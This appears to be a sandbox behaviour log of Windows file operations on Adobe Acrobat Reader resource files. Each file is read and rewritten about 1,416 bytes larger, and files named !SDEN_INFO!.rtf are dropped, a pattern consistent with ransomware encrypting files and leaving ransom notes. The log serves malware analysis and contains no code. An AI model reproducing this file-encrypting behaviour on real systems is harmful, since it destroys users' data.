File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons.png, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\icons.png, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\nb-no\ui-strings.js, size = 909, size_out = 909	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\nb-no\ui-strings.js, size = 2325	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png, size = 703, size_out = 703	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png, size = 2119	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_patterns_header.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_patterns_header.png, size = 703, size_out = 703	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\bg_patterns_header.png, size = 2119	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ar-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ar-ae\ui-strings.js, size = 1240, size_out = 1240	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ar-ae\ui-strings.js, size = 2656	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fi-fi\ui-strings.js, size = 1367, size_out = 1367	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_field_grabber.png, size = 2783	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\ui-strings.js, size = 1370, size_out = 1370	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nl-nl\ui-strings.js, size = 2786	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\tr-tr\ui-strings.js, size = 1364, size_out = 1364	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\tr-tr\ui-strings.js, size = 2780	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\cs-cz\ui-strings.js, size = 851, size_out = 851	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\cs-cz\ui-strings.js, size = 2267	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-ma\ui-strings.js, size = 856, size_out = 856	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-ma\ui-strings.js, size = 2272	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ro-ro\ui-strings.js, size = 854, size_out = 854	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ro-ro\ui-strings.js, size = 2270	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-tw\ui-strings.js, size = 850, size_out = 850	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-tw\ui-strings.js, size = 2266	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\es-es\ui-strings.js, size = 1063, size_out = 1063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\es-es\ui-strings.js, size = 2479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nb-no\ui-strings.js, size = 1043, size_out = 1043	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\nb-no\ui-strings.js, size = 2459	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\tr-tr\ui-strings.js, size = 1060, size_out = 1060	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\tr-tr\ui-strings.js, size = 2476	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\da-dk\ui-strings.js, size = 1013, size_out = 1013	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\da-dk\ui-strings.js, size = 2429	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hu-hu\ui-strings.js, size = 1047, size_out = 1047	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hu-hu\ui-strings.js, size = 2463	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ru-ru\ui-strings.js, size = 1145, size_out = 1145	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ru-ru\ui-strings.js, size = 2561	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\selector.js, size = 5972, size_out = 5972	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\selector.js, size = 7388	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\ui-strings.js, size = 4218, size_out = 4218	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\ui-strings.js, size = 5634	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\it-it\ui-strings.js, size = 4508, size_out = 4508	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\it-it\ui-strings.js, size = 5924	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\ui-strings.js, size = 4619, size_out = 4619	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\ui-strings.js, size = 6035	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main-selector.css, size = 1198, size_out = 1198	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\css\main-selector.css, size = 2614	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-feedback.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-feedback.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close.svg, size = 1390, size_out = 1390	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close.svg, size = 2806	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\editvideoimage.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\editvideoimage.png, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\editvideoimage.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_patterns_header.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_patterns_header.png, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_patterns_header.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit.svg, size = 4041, size_out = 4041	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit.svg, size = 5457	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\help.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\help.svg, size = 2362, size_out = 2362	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\help.svg, size = 3778	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\de-de\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\it-it\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\PlayStore_icon.svg, size = 5611, size_out = 5611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\PlayStore_icon.svg, size = 7027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\PlayStore_icon.svg, size = 7422, size_out = 7422	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\!SDEN_INFO!.rtf, size = 8838	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\it-it\!SDEN_INFO!.rtf, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\it-it\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\!SDEN_INFO!.rtf, size = 61440	1	Fn Data
